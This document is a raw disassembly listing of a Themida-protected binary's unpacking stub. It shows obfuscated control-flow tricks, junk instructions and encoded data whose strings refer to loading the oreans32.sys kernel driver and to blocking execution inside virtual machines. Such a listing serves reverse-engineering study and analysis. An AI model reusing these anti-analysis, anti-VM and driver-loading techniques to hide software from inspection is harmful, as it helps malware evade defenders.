push 0
push edi
push 37D0h
push ecx
push ebx
call eax
test eax, eax
jnz loc_567CF8
lea esi, [ebp+60DB970h]
lea eax, [ebp+60DA5F9h]
call eax
lea ecx, [ebp+60B7305h]
mov eax, 0
jmp ecx
; ---------------------------------------------------------------------------
loc_567CF8: ; CODE XREF: Themida_:00567CD7j
mov byte ptr [ebp+60B2845h], 43h
push 0C0764AA7h
push dword ptr [ebp+60B0B01h]
lea eax, [ebp+60B390Dh]
call eax
push ebx
call eax
retn
; ---------------------------------------------------------------------------
loc_567D16: ; CODE XREF: Themida_:loc_567C22j
mov ecx, 37D0h
call $+5
pop eax
add eax, 0Eh
mov [eax], ecx
jmp loc_567D2D
; ---------------------------------------------------------------------------
mov eax, ebx
loc_567D2D: ; CODE XREF: Themida_:00567D26j
jmp loc_56B502
; ---------------------------------------------------------------------------
dw 5A4Dh
db 90h
align 2
dw 3
dd 40000h, 0FFFF0000h, 0B80000h, 0
dd 400000h, 8 dup(0)
dd 0B00000h, 1F0E0000h, 0B4000EBAh, 0B821CD09h, 21CD4C01h
dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh
dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h
dd 240A0Dh, 0
dd 175D0000h, 7619DB1Dh, 2 dup(76198873h), 56E58873h, 76188861h
dd 76198873h, 76188873h, 69528873h, 76196863h, 8873h, 0
dd 454C0000h, 0
dd 20000h, 4, 80000000h, 140003h, 4 dup(0)
dd 2000000h, 1C00000h, 900000h, 0
dd 7E0000h, 0
dd 0C40000h, 10000h, 0DC0000h, 3 dup(0)
dd 12C0000h, 1380000h, 2 dup(0)
dd 1420000h, 1960000h, 1D20000h, 0
dd 1D20000h, 0
dd 10000000h, 140000h, 37C00000h, 100000h, 0Dh dup(0)
dd 27C00400h, 0
dd 20450000h, 10000h, 140000h, 434C0000h, 444Fh, 1, 2
dd 3, 4, 5, 6, 7, 8, 9, 0Ah, 0Bh, 0Ch, 0Dh, 0Eh, 0Fh, 10h
dd 11h, 12h, 13h, 58080014h, 544F5250h, 445856h, 3010000h
dd 30001h, 2 dup(0)
dd 13h dup(7), 3Ch, 180007h, 7276001h, 101AD00h, 70050h
dd 9B010191h, 6002727h, 79276F01h, 81017D01h, 89018501h
dd 7018D01h, 1017500h, 72795h, 98010171h, 6B000727h, 27710101h
dd 360h dup(0)
dd 4000000h, 10000h, 50580000h, 56544F52h, 4458h, 8000h
dd 8 dup(0)
dd 65760000h, 505072h, 76310000h, 76325273h, 76335273h
dd 5273h, 9C3h dup(0)
dd 0E8830000h, 9F8831Bh, 24FF0773h, 85h, 0C3F800h, 8 dup(0)
dd 33000000h, 0C033C3C0h, 0C7E83C3h, 33047500h, 831AEBC0h
dd 75010C7Eh, 58D14h, 8B000000h, 789187Eh, 42046C7h, 33000000h
dd 580CC3C0h, 544F5250h, 5F445856h, 424444h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_56B502: ; CODE XREF: Themida_:loc_567D2Dj
call near ptr loc_56B50D+1
fdivr qword ptr [ebx+71h]
test dl, 4Ah
loc_56B50D: ; CODE XREF: Themida_:loc_56B502p
fadd dword ptr [ebx]
test ebx, ecx
or eax, es:[esi]
pop esi
or ah, 0E8h
add esi, 7242h
mov edx, [ebp+60B0B4Dh]
mov edi, 0
mov ax, 1944h
loc_56B52D: ; CODE XREF: Themida_:0056B591j
push dword ptr [edi+esi]
cmc
pop ebx
jmp loc_56B545
; ---------------------------------------------------------------------------
db 73h
db 9, 0F6h
; ---------------------------------------------------------------------------
push edx
sub [edi+esi*2+8], eax
aam 0BCh
push esi
lodsd
retf
; ---------------------------------------------------------------------------
db 83h
; ---------------------------------------------------------------------------
loc_56B545: ; CODE XREF: Themida_:0056B532j
sub ebx, 4CCFF16Dh
and cx, 9883h
xor ebx, 7747C3A3h
mov ecx, [ebp+60B0419h]
add ebx, 316E82C0h
cld
push ebx
mov dl, 0ACh
pop dword ptr [esi+edi]
mov [ebp+60B0609h], esi
mov cx, 0B057h
sub edi, 5C8F1BCEh
xor [ebp+60B0B2Dh], eax
add edi, 5C8F1BCAh
mov [ebp+60B2B61h], ecx
cmp edi, 0FFFF8E50h
jnz loc_56B52D
or edx, [ebp+60B1339h]
jmp loc_56C64B
; ---------------------------------------------------------------------------
dw 4441h
dd 49504156h, 442E3233h, 4F004C4Ch, 536E6570h, 6E614D43h
dd 72656761h, 72430041h, 65746165h, 76726553h, 41656369h
dd 61745300h, 65537472h, 63697672h, 47004165h, 614E7465h
dd 65766974h, 74737953h, 6E496D65h, 4F006F66h, 536E6570h
dd 69767265h, 416563h, 656C6544h, 65536574h, 63697672h
dd 6C430065h, 5365736Fh, 69767265h, 61486563h, 656C646Eh
dd 6E6F4300h, 6C6F7274h, 76726553h, 656369h, 8 dup(0)
dd 6165726Fh, 3233736Eh, 7379732Eh, 2 dup(0)
dd 65726F00h, 78736E61h, 732E3436h, 7379h, 0
dd 6F000000h, 6E616572h, 323373h, 5C2E5C5Ch, 6165726Fh
dd 3233736Eh, 2E5C5C00h, 6F6C475Ch, 5C6C6162h, 6165726Fh
dd 3233736Eh, 65726F00h, 78736E61h, 5C003436h, 475C2E5Ch
dd 61626F6Ch, 726F5C6Ch, 736E6165h, 343678h, 42h dup(0)
aSystemroot db 'SYSTEMROOT',0
aSSystem32Drive db '%s\system32\drivers\%s',0
aSSyswow64Drive db '%s\syswow64\drivers\%s',0
aSSystem32Dri_0 db '%s\system32\drivers\oreans32.sys',0
align 4
dd 48h dup(0)
dd 43330000h, 6F6E6E61h, 70552074h, 65746164h, 65726F20h
dd 2E736E61h, 20737973h, 76697264h, 202E7265h, 61656C50h
dd 202C6573h, 656B616Dh, 72757320h, 68742065h, 79207461h
dd 6820756Fh, 0A657661h, 6D64610Dh, 73696E69h, 74617274h
dd 7327726Fh, 72657020h, 7374696Dh, 65687420h, 72696620h
dd 74207473h, 20656D69h, 74616874h, 756F7920h, 65726120h
dd 696F6720h, 7420676Eh, 7572206Fh, 6874206Eh, 70207369h
dd 72676F72h, 2E6D61h, 59h dup(0)
dd 43330000h, 6F6E6E61h, 706F2074h, 6F206E65h, 6E616572h
dd 78762E73h, 72642064h, 72657669h, 614D202Eh, 7320656Bh
dd 20657275h, 74616874h, 65726F20h, 2E736E61h, 0A647876h
dd 2073690Dh, 20746F6Eh, 6E65706Fh, 20796220h, 746F6E61h
dd 20726568h, 676F7270h, 2E6D6172h, 67h dup(0)
dd 53330000h, 72756365h, 676E4565h, 20656E69h, 76697264h
dd 63207265h, 6F6E6E61h, 65622074h, 64707520h, 64657461h
dd 63656220h, 65737561h, 65687420h, 61206572h, 73206572h
dd 20656D6Fh, 676F7270h, 736D6172h, 69737520h, 0D0A676Eh
dd 202E7469h, 20756F59h, 6465656Eh, 206F7420h, 736F6C63h
dd 68742065h, 2065736Fh, 676F7270h, 736D6172h, 20726F20h
dd 74736572h, 20747261h, 72756F79h, 6D6F6320h, 65747570h
dd 0D0A2E72h, 74736552h, 20747261h, 3F776F6Eh, 0D9h dup(0)
dd 5C5C0000h, 724F5C2Eh, 736E6165h, 6478762Eh, 2 dup(0)
dd 25000000h, 724F5C73h, 736E6165h, 6478762Eh, 2 dup(0)
dd 58000000h, 746F7270h, 6E657645h, 74h, 0Ah dup(0)
dd 65530000h, 74756853h, 6E776F64h, 76697250h, 67656C69h
dd 65h, 72430000h, 65746165h, 6E657645h, 50412074h, 72452049h
dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h
dd 65687420h, 69726420h, 726576h, 45746547h, 7269766Eh
dd 656D6E6Fh, 6156746Eh, 62616972h, 4120656Ch, 45204950h
dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 4D43536Eh
dd 67616E61h, 41207265h, 45204950h, 726F7272h, 69687720h
dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
dd 72657669h, 65724300h, 53657461h, 69767265h, 41206563h
dd 45204950h, 726F7272h, 69687720h, 6520656Ch, 61727478h
dd 6F697463h, 6874206Eh, 72642065h, 72657669h, 6F6C4300h
dd 65536573h, 63697672h, 6E614865h, 20656C64h, 20495041h
dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 65536E65h
dd 63697672h, 50412065h, 72452049h, 20726F72h, 6C696877h
dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h
dd 726576h, 72617453h, 72655374h, 65636976h, 49504120h
dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
dd 206E6F69h, 20656874h, 76697264h, 41007265h, 20434950h
dd 6F727265h, 43203A72h, 6F6E6E61h, 69662074h, 5020646Eh
dd 65636F72h, 726F7373h, 6F432073h, 6F72746Eh, 6C42206Ch
dd 736B636Fh, 6C50202Eh, 65736165h, 630D0A2Ch, 61746E6Fh
dd 69207463h, 406F666Eh, 6165726Fh, 632E736Eh, 66206D6Fh
dd 7420726Fh, 20736968h, 6F727265h, 72h, 1040000h, 53330000h
dd 7972726Fh, 6874202Ch, 61207369h, 696C7070h, 69746163h
dd 63206E6Fh, 6F6E6E61h, 75722074h, 6E75206Eh, 20726564h
dd 69562061h, 61757472h, 614D206Ch, 6E696863h, 65h, 6Fh dup(0)
dd 10000000h, 0
dd 0FFFF0001h, 17FFEh, 10000h, 24A0000h, 0
dd 0F0001h, 94000408h, 5000000h, 1000000h, 28000000h, 200000Ah
dd 21h dup(0)
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_56C64B: ; CODE XREF: Themida_:0056B59Dj
mov eax, esp
push 0
push ebp
call sub_56C658
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_56C658 proc near ; CODE XREF: Themida_:0056C650p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ah
inc ebp
push ebp
retn
sub_56C658 endp
; ---------------------------------------------------------------------------
dec ebx
aad 4Dh
and esi, [edx+58B67F0Eh]
mov [ebp+60B32B5h], eax
push 0
push edi
call sub_56C682
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_56C682 proc near ; CODE XREF: Themida_:0056C67Ap
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 18h
inc edi
push edi
retn
sub_56C682 endp
; ---------------------------------------------------------------------------
dw 0C5E7h
dd 89F1D4EBh, 0B09658Dh, 6AC08B06h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 93D4C351h
dd 0AE99177h, 37000000h, 642E449Ah, 6EA8E346h, 0BDBD8358h
dd 60B05h, 0BD830975h, 60B29D1h, 50197400h, 0B8C08B53h
dd 43Dh, 2A358589h, 9D8D060Bh, 60DB31Ah, 585BD3FFh, 29D1BD83h
dd 7400060Bh, 0B8535017h, 43Dh, 2A358589h, 9D8D060Bh, 60DB009h
dd 585BD3FFh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 16h, 0D9C35040h, 8166140Eh, 8BC869EFh, 0B0011BDh, 66C08B06h
dd 50ED781h, 0D981C08Bh, 7094590Ah, 5BDBD83h, 7500060Bh
dd 0D1BD8309h, 60B29h, 53501374h, 0B8C08Bh, 8D000000h
dd 0DB1BC9Dh, 5BD3FF06h, 0D1BD8358h, 60B29h, 53501174h
dd 0B8h, 6D9D8D00h, 0FF060DB0h, 80585BD3h, 0BE9FDC5h, 0B0000000h
dd 25963FECh, 0C1968396h, 0C08B592Ah, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 17h, 73C35747h, 8106AFCFh, 0A09A06D2h
dd 0CFB70F14h, 0B70FC08Bh, 0BDBD83D7h, 60B05h, 0BD830975h
dd 60B29D1h, 50137400h, 0B8C08B53h, 0
; ---------------------------------------------------------------------------
lea ebx, [ebp+60DB0EEh]
call ebx
pop ebx
pop eax
cmp dword ptr [ebp+60B29D1h], 0
jz short loc_56C810
push eax
push ebx
mov eax, 0
lea ebx, [ebp+60DB03Bh]
call ebx
pop ebx
pop eax
loc_56C810: ; CODE XREF: Themida_:0056C7FDj
movzx edx, ax
push 0
push edi
call sub_56C81E
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_56C81E proc near ; CODE XREF: Themida_:0056C816p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 16h
inc edi
push edi
retn
sub_56C81E endp
; ---------------------------------------------------------------------------
mov cl, 0ACh
sub ecx, [di+1E9h]
or eax, [esi]
mov eax, eax
mov ecx, [ebp+60B18A9h]
mov eax, eax
pusha
mov [ebp+60B3161h], edi
mov eax, [ebp+60B021Dh]
popa
cmp dword ptr [ebp+60B05BDh], 0
jnz short loc_56C861
cmp dword ptr [ebp+60B29D1h], 0
jz short loc_56C874
loc_56C861: ; CODE XREF: Themida_:0056C856j
push eax
push ebx
mov eax, eax
mov eax, 0
lea ebx, [ebp+60DB155h]
call ebx
pop ebx
pop eax
loc_56C874: ; CODE XREF: Themida_:0056C85Fj
cmp dword ptr [ebp+60B29D1h], 0
jz short loc_56C88E
push eax
push ebx
mov eax, 0
lea ebx, [ebp+60DB054h]
call ebx
pop ebx
pop eax
loc_56C88E: ; CODE XREF: Themida_:0056C87Bj
mov [ebp+60B02B5h], edi
mov eax, eax
mov [ebp+60B15F1h], edi
mov eax, eax
mov [ebp+60B21DDh], edi
cmp dword ptr [ebp+60B05BDh], 0
jnz short loc_56C8B6
cmp dword ptr [ebp+60B29D1h], 0
jz short loc_56C8C9
loc_56C8B6: ; CODE XREF: Themida_:0056C8ABj
push eax
push ebx
mov eax, eax
mov eax, 0
lea ebx, [ebp+60DB087h]
call ebx
pop ebx
pop eax
loc_56C8C9: ; CODE XREF: Themida_:0056C8B4j
sub [ebp+60B1B71h], ebx
jnp loc_56C8DF
pusha
mov [ebp+60B1FC5h], ecx
mov dl, 6
popa
loc_56C8DF: ; CODE XREF: Themida_:0056C8CFj
jb loc_56C8EE
jz loc_56C8EE
movzx ecx, cx
loc_56C8EE: ; CODE XREF: Themida_:loc_56C8DFj
; Themida_:0056C8E5j
mov eax, eax
mov dl, 82h
mov eax, eax
sub [ebp+60B2279h], edi
cmp dword ptr [ebp+60B05BDh], 0
jnz short loc_56C90C
cmp dword ptr [ebp+60B29D1h], 0
jz short loc_56C925
loc_56C90C: ; CODE XREF: Themida_:0056C901j
push eax
push ebx
mov eax, eax
mov eax, 7D0h
mov [ebp+60B2A35h], eax
lea ebx, [ebp+60DB31Ah]
call ebx
pop ebx
pop eax
loc_56C925: ; CODE XREF: Themida_:0056C90Aj
cmp dword ptr [ebp+60B29D1h], 0
jz short loc_56C945
push eax
push ebx
mov eax, 7D0h
mov [ebp+60B2A35h], eax
lea ebx, [ebp+60DB009h]
call ebx
pop ebx
pop eax
loc_56C945: ; CODE XREF: Themida_:0056C92Cj
push 0
push ecx
call sub_56C950
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_56C950 proc near ; CODE XREF: Themida_:0056C948p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 17h
inc ecx
push ecx
retn
sub_56C950 endp
; ---------------------------------------------------------------------------
dd 0A9FC644Ch, 59EB8A50h, 6AC08Bh, 3E850h, 58200000h, 448958C3h
dd 44810424h, 180424h, 50400000h, 0D253A8C3h, 8F0F1492h
dd 6, 32A18D89h, 85C6060Bh, 60B2845h, 56006A53h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
dd 0C3B78D99h, 0F850DDEh, 8D8BD3B7h, 60B1839h, 395F9068h
dd 0E9D78A99h, 8, 0A767039Ch, 0B4EBE563h, 0B01B5FFh, 858D060Bh
dd 60B390Dh, 8D8BFB8Bh, 60B0DDDh, 0BD8BD0FFh, 60B0AB9h
dd 0AC58589h, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1D0424h, 57470000h, 8EB612C3h, 0BB4F2E9h, 0BA10C412h
dd 6FA61214h, 816655B5h, 0C6C4CBCFh, 0B284585h, 8D8B5706h
dd 60B1161h, 4520668h, 0CE85790h, 6C000000h, 5A33EB9Ah
dd 7EDB90B0h, 0E8F2AAF3h, 12h, 0C985FC60h, 727453CAh, 0B9A9AEA2h
dd 9F0775F8h, 5A598924h, 1B5FF59h, 1060B0Bh, 0B31F185h
dd 8D98B606h, 0B390D85h, 9E906h, 6E2A0000h, 0CBC7044Ah
dd 0FF69CF5Dh, 50006AD0h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1504h, 0C3504000h, 858918D8h, 60B2411h, 4585C6F8h
dd 43060B28h, 68D0B70Fh, 0BC907028h, 24559D01h, 0B5FF060Bh
dd 60B0B01h, 21E9958Bh, 858D060Bh, 60B390Dh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 3EC35545h, 0FB617C9Dh
dd 0FF89DDCAh, 51006AD0h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1B04h, 0C3514100h, 0E6D1555Eh, 76B79A30h
dd 27A58589h, 8D89060Bh, 60B003Dh, 284585C6h, 8B4C060Bh
dd 0B240595h, 1CE96806h, 0BD8BD9DAh, 60B1161h, 0CD04DF81h
dd 0B5FF0770h, 60B0B01h, 68B0Fh, 85310000h, 60B0921h, 390D858Dh
dd 39B9060Bh, 0FF42364Eh, 53006AD0h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 0C0930F4Dh
dd 0DE86E49h, 67000000h, 0F7D77642h, 270B4792h, 0C7AAB656h
dd 19658501h, 0E85F060Bh, 14h, 70DE3CDDh, 371E904Dh, 0C15D7D4Dh
dd 8C602DA7h, 0C60CC030h, 0FBB70F53h, 85895F5Ah, 60B2875h
dd 0C6DFC580h, 0B284585h, 8B664606h, 4D8529D6h, 68060B1Ah
dd 0BADE0614h, 10E960h, 97860000h, 396EAB5Eh, 4991916h
dd 0E2F1ED4Ch, 81662BD2h, 61B326E1h, 0B01B5FFh, 0DE9060Bh
dd 27000000h, 56EC796Dh, 7F286C5Dh, 0F3ED26EBh, 390D858Dh
dd 0FE9060Bh, 0A6000000h, 52496C0Ch, 721CA512h, 0A00E6D7Ah
dd 0D0FFD44Eh, 28D9958Bh, 8589060Bh, 60B21C5h, 10E9h, 2925AB00h
dd 7775915h, 3C8EB3B1h, 94EB05E1h, 0C9BD891Eh, 0C6060B29h
dd 0B284585h, 6A4706h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1D0424h, 55450000h, 79111BC3h, 0E726838h, 688D583Fh
dd 8A0FB5E2h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 15h, 12C35545h, 19BD89BEh, 0FF060B07h, 0B0B01B5h, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
dd 613F2D74h, 0D858DD4h, 1060B39h, 0B0CC185h, 6AD0FF06h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h
dd 46000000h, 0AB9BC356h, 7E9FCh, 0F4CF0000h, 982A6629h
dd 0D1858929h, 89060B13h, 0B15799Dh, 4585C606h, 47060B28h
dd 5890Fh, 0E6BA0000h, 6859A4E8h, 83D0B5F3h, 9DBD8951h
dd 5F060B19h, 0B01B5FFh, 8C0F060Bh, 6, 0ED59D09h, 858D060Bh
dd 60B390Dh, 258D8B60h, 61060B2Bh, 6AD0FFh, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0F4A124C3h
dd 0BCD7C5EBh, 31BBB0CBh, 0B0531B5h, 66D18106h, 8920F97Ch
dd 0B051985h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1704h, 0C3524200h, 0BC1064F0h, 29AD8589h, 85C6060Bh
dd 60B2845h, 9958B77h, 68060B23h, 0F397A8A3h, 0DDE98166h
dd 15B5FFADh, 89060B03h, 0B0DADB5h, 0D858D06h, 0E8060B39h
dd 0Fh, 0B1F39B5Bh, 0DAB35DA7h, 69D6C36Fh, 89E7EC18h, 0B2DE99Dh
dd 0D0FF5906h, 8589FA8Bh, 60B000Dh, 4585C6FCh, 47060B28h
dd 8728F0BFh, 85BD8B3Ch, 68060B20h, 8728FAF6h, 32E58D89h
dd 840F060Bh, 20h, 13E860h, 1B1D0000h, 6E69247Fh, 4736AA0Fh
dd 59A5112Fh, 0E5202D67h, 1EBB598Ah, 61313E34h, 0B01B5FFh
dd 0E8F9060Bh, 0Eh, 0A4B813FDh, 0D73A3D33h, 237C170Bh
dd 0EE99493h, 27000000h, 7873C204h, 0A0E8EDADh, 6D4F9F98h
dd 858D5FD1h, 60B390Dh, 5820Fh, 12B90000h, 0F6E18DDh, 0D0FFCABFh
dd 0DE9BB966h, 74639DBAh, 5D85890Dh, 6A060B16h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
dd 105BC352h, 9E99E32Dh, 10E9h, 2E2DFD00h, 745AAF33h, 623013Bh
dd 24010259h, 4585C67Bh, 43060B28h, 8DBA6657h, 0FC685AD1h
dd 6ABC8E6Eh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1A042444h, 43000000h, 0ADB8C353h, 0AEA15E2Dh, 44A4BA2Eh
dd 13E81D8Eh, 37000000h, 41430F7Dh, 0EF7BC23Ch, 0AF010F0Bh
dd 4DE17498h, 0D2819B77h, 17FBC7A0h, 1B5FF5Fh, 81060B0Bh
dd 41AE21EFh, 0D858D6Ah, 66060B39h, 0D0FFD78Bh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0E8C35343h, 10E96CACh
dd 39F60E0Bh, 68D0FCEh, 9000000h, 0B2A9985h, 0B98D2306h
dd 89060B05h, 0B026585h, 0AD9D8906h, 0C6060B19h, 0B284585h
dd 8D894506h, 60B0C1Dh, 72696968h, 53006A8Eh, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 0A07D2ECFh
dd 534F02A7h, 59CA8B66h, 0A45B966h, 0B01B5FFh, 2EB1060Bh
dd 390D858Dh, 8166060Bh, 0FFC8BBF7h, 0E78166D0h, 8589D36Fh
dd 60B2F4Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Bh, 0CEC35646h, 0A121DD32h, 0E8BE470Fh, 12h, 0A72F4D29h
dd 4D570A3Bh, 0D988099Dh, 0D7FB2C9Eh, 8D8B88E2h, 60B2DFDh
dd 4585C65Ah, 44060B28h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Ch, 1CC35545h, 0E5EF077h, 3C94D193h, 0F2EC6468h
dd 0FBB70FB8h, 0B01B5FFh, 10E9060Bh, 6000000h, 29EEDD61h
dd 324864A8h, 0DBCEF087h, 8D39130Ch, 0B390D85h, 0FFFE8B06h
dd 3DBD8BD0h, 89060B00h, 0B059985h, 75BF6606h, 4585C6EFh
dd 43060B28h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Bh, 9DC35040h, 47D5A5E5h, 89529C84h, 0B088D85h, 4AA76806h
dd 0BD03C076h, 60B1FD5h, 0B01B5FFh, 858D060Bh, 60B390Dh
dd 6810Fh, 0BD2B0000h, 60B0719h, 0FC60D0FFh, 1AAD9D03h
dd 8961060Bh, 0B0B8D85h, 0D58D2906h, 80060B17h, 0E00ECBDh
dd 840F0006h, 0CEh, 0CE858DF8h, 8B060E00h, 0B080195h, 6A5006h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
dd 0CFB0FFC3h, 0E8016AFCh, 6, 0F4259CADh, 958B684Fh, 60B1BB1h
dd 6A006A5Ah, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 14042444h, 46000000h, 89C3C356h
dd 0B2761B5h, 0E9006A06h, 8, 0F49F975Dh, 14DBB6F9h, 27A595FFh
dd 7E9060Bh, 50000000h, 0A2DC5B95h, 85898FE8h, 60B281Dh
dd 15F1958Bh, 0FF6A060Bh, 2B69958Bh, 8C0F060Bh, 5, 0D0669ABFh
dd 1DB5FF79h, 0E8060B28h, 0Bh, 0F9C25AD5h, 4508DE84h, 8968C1E4h
dd 0B2AC99Dh, 95FF5A06h, 60B2411h, 2961B509h, 0C08B060Bh
dd 0BD83EB8Ah, 60B05BDh, 83097500h, 0B29D1BDh, 19740006h
dd 0C08B5350h, 7D1B8h, 35858900h, 8D060B2Ah, 0DB31A9Dh
dd 5BD3FF06h, 0D1BD8358h, 60B29h, 53501774h, 7D1B8h, 35858900h
dd 8D060B2Ah, 0DB0099Dh, 5BD3FF06h, 6AFB8B58h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
dd 67B7C352h, 4990AEEBh, 4A818E1Eh, 0EE8AC08Bh, 284585C6h
dd 8B47060Bh, 0B23058Dh, 0B5896006h, 60B2E41h, 0F7C16861h
dd 0BD8993C8h, 60B02A1h, 0B01B5FFh, 958B060Bh, 60B0B25h
dd 390D858Dh, 8166060Bh, 0FF9147E2h, 0B5B589D0h, 50060B1Eh
dd 2E91958Bh, 858D060Bh, 60E050Fh, 2205BD8Bh, 0C7060Bh
dd 94h, 220D9523h, 358060Bh, 0B2DE995h, 0FB58D06h, 8B060E05h
dd 0B2A59BDh, 0D0FF5606h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 15h, 0ACC35343h, 0F1BD897Bh, 8D060B0Eh, 0E050F85h
dd 4788306h, 3A850F06h, 80000000h, 85C77FC9h, 60E05A3h
dd 1, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h
dd 0AC35040h, 0AE93B4Ch, 1B000000h, 0DB4997A7h, 0EF00C301h
dd 0B5BD8386h, 60B00h, 38850Fh, 85090000h, 60B2DF1h, 5A3BD83h
dd 0F00060Eh, 2585h, 358D2B00h, 83060B29h, 0B08D1BDh, 840F0006h
dd 12h, 85C7F88Bh, 60B0021h, 0
; ---------------------------------------------------------------------------
mov [ebp+60B03A9h], ecx
mov bx, ds
call sub_56D389
mov cl, 0D4h
mov bh, 80h
mov ds:6CF5B4E4h, al
add byte ptr [ecx], 3Ah
sbb edx, 1Fh
inc eax
xchg eax, ebx
and ebx, [eax]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_56D389 proc near ; CODE XREF: Themida_:0056D371p
jmp sub_56D398
sub_56D389 endp
; ---------------------------------------------------------------------------
dw 8BB7h
dd 22DF6604h, 0ED18204Ah
; =============== S U B R O U T I N E =======================================
sub_56D398 proc near ; CODE XREF: sub_56D389j
; FUNCTION CHUNK AT 0056D937 SIZE 00000053 BYTES
; FUNCTION CHUNK AT 0056D998 SIZE 0000000E BYTES
pop edi
xor [ebp+60B29E5h], ecx
test bl, 4
jz loc_56D937
mov dword ptr [ebp+60B0B19h], 0
push 0
push edx
call sub_56D3BD
and [edx-3Dh], bl
sub_56D398 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_56D3BD proc near ; CODE XREF: sub_56D398+1Dp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Dh
inc edx
push edx
retn
sub_56D3BD endp
; ---------------------------------------------------------------------------
db 0F4h, 5Bh, 0DDh
; ---------------------------------------------------------------------------
adc [edi+424665B7h], bl
pop edi
push edi
movsx edx, bx
pop ecx
and cx, 9B06h
cmp byte ptr [ebp+60E00F9h], 0
jnz loc_56D406
jmp loc_56D406
; ---------------------------------------------------------------------------
and al, 4Eh
adc dh, ah
rcr dword ptr [edx], 0FFh
mov edx, 4EA70CCFh
icebp
sbb eax, 0D04FCCB4h
retf
; ---------------------------------------------------------------------------
loc_56D406: ; CODE XREF: Themida_:0056D3E8j
; Themida_:0056D3EEj
mov byte ptr [ebp+60B2845h], 47h
sub [ebp+60B0609h], edi
push 0E3E45B86h
xor [ebp+60B0AE5h], esi
push dword ptr [ebp+60B0B01h]
push 0
push ebp
call sub_56D42F
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_56D42F proc near ; CODE XREF: Themida_:0056D427p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Bh
inc ebp
push ebp
retn
sub_56D42F endp
; ---------------------------------------------------------------------------
db 0E8h
dd 0C55923E2h, 66FD1F6Dh, 8B5840BAh, 0B2099BDh, 0D858D06h
dd 80060B39h, 0D0FFFDE6h, 8E9h, 51D26000h, 0ABAE947Bh
dd 104685Eh, 0C6BF0000h, 8D63433Ch, 0B099D9Dh, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
dd 0B625F682h, 2367697Fh, 0B00F9BDh, 81665306h, 0FFD666DFh
dd 0D3B70FD0h, 0ABEF8166h, 9D858D26h, 89060B09h, 0B1F71BDh
dd 64B65006h, 0AB858Dh, 6A060Eh, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1A0424h, 55450000h, 2A91B8C3h, 0FFF91F09h
dd 50006A50h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h
dd 0C3504000h, 1002EE54h, 661BC8EAh, 8D3FAAB9h, 0DF77E85h
dd 9D895006h, 60B2AA5h, 0D95FFh, 6660060Bh, 9A15E981h
dd 8361F78Ah, 13E90CC4h, 52000000h, 97AE0821h, 0F5D0F9B6h
dd 3B34F330h, 750115C1h, 6AAE66h, 8068h, 6A036A00h, 68006A00h
